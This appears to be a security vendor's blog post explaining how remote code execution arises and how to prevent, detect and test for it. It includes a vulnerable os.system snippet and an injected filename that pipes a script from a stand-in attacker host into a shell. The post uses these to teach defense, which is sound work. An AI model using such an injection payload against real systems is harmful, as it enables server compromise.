Remote Code Execution (RCE): How It Happens and How to Stop It
Remote code execution is the worst-case outcome for a web application: an attacker can run their own commands on your server. From there they can read data, steal credentials, pivot into your cloud environment and persist.
We see this first-hand. SecurityInfinity's research team has been credited with several CVEs, including a critical RCE in the open-source AVideo platform, CVE-2026-33867, rated CVSS 9.1. The paths to RCE are surprisingly consistent.
Common paths to RCE
Command injection
User input passed to a shell command.
# Vulnerable
os.system("convert " + filename + " output.png")A filename like x.png; curl attacker.sh | sh executes the attacker's command.
Unrestricted file upload
An attacker uploads a file the server will execute, such as a .php file into a web-accessible directory, or a file with a double extension that bypasses validation.
Insecure deserialisation
The application deserialises attacker-controlled data into objects, triggering code paths that lead to execution. This affects Java, PHP, Python pickle, .NET and Ruby.
Server-side template injection
User input is rendered as part of a server-side template, giving access to the template engine's features, which often include code execution.
Vulnerable dependencies
A known RCE in a library or framework, such as historical issues in logging libraries or web frameworks, exploited because the dependency was not patched.
Dangerous dynamic features
eval(), dynamic imports, or code generation using user input.
Why RCE matters even more in the cloud
On a cloud server, RCE usually gives access to the instance's role credentials, environment variables full of secrets, and network paths to internal services. A single RCE on a web server can become a full cloud account compromise.
How to prevent RCE
- Never pass user input to a shell. Use library functions or call programs with argument arrays, without a shell.
- Handle uploads safely: store outside the web root, generate random names, validate type by content, and never execute them.
- Avoid native deserialisation of untrusted data. Use JSON with schema validation.
- Never render user input as a template. Pass it as data to the template.
- Patch dependencies quickly, especially for critical CVEs, with automated alerts.
- Run with least privilege: non-root users, read-only filesystems where possible and minimal cloud permissions.
- Restrict egress so a compromised server cannot easily download tools or exfiltrate data.
Detecting RCE attempts
Monitor for unusual process execution from web servers, outbound connections to unknown hosts and modifications to application directories. Runtime security tools for containers can alert on these behaviours.
Testing for RCE
SecurityInfinity agents test for command injection, unsafe uploads, template injection and known vulnerable components, and verify execution safely using harmless proof such as out-of-band callbacks. Every finding includes a fix. Try the free PHP2Shell scanner or start free.
Frequently asked questions
What CVSS score does RCE usually get?
Unauthenticated RCE is typically rated critical, often 9.0 or higher, because it gives full control of the affected system.
Can RCE happen in serverless functions?
Yes. The environment is short-lived, but attackers can still access environment variables, function credentials and connected services.
Is a WAF enough to prevent RCE?
No. A WAF may block common payloads, but the underlying vulnerability must be fixed.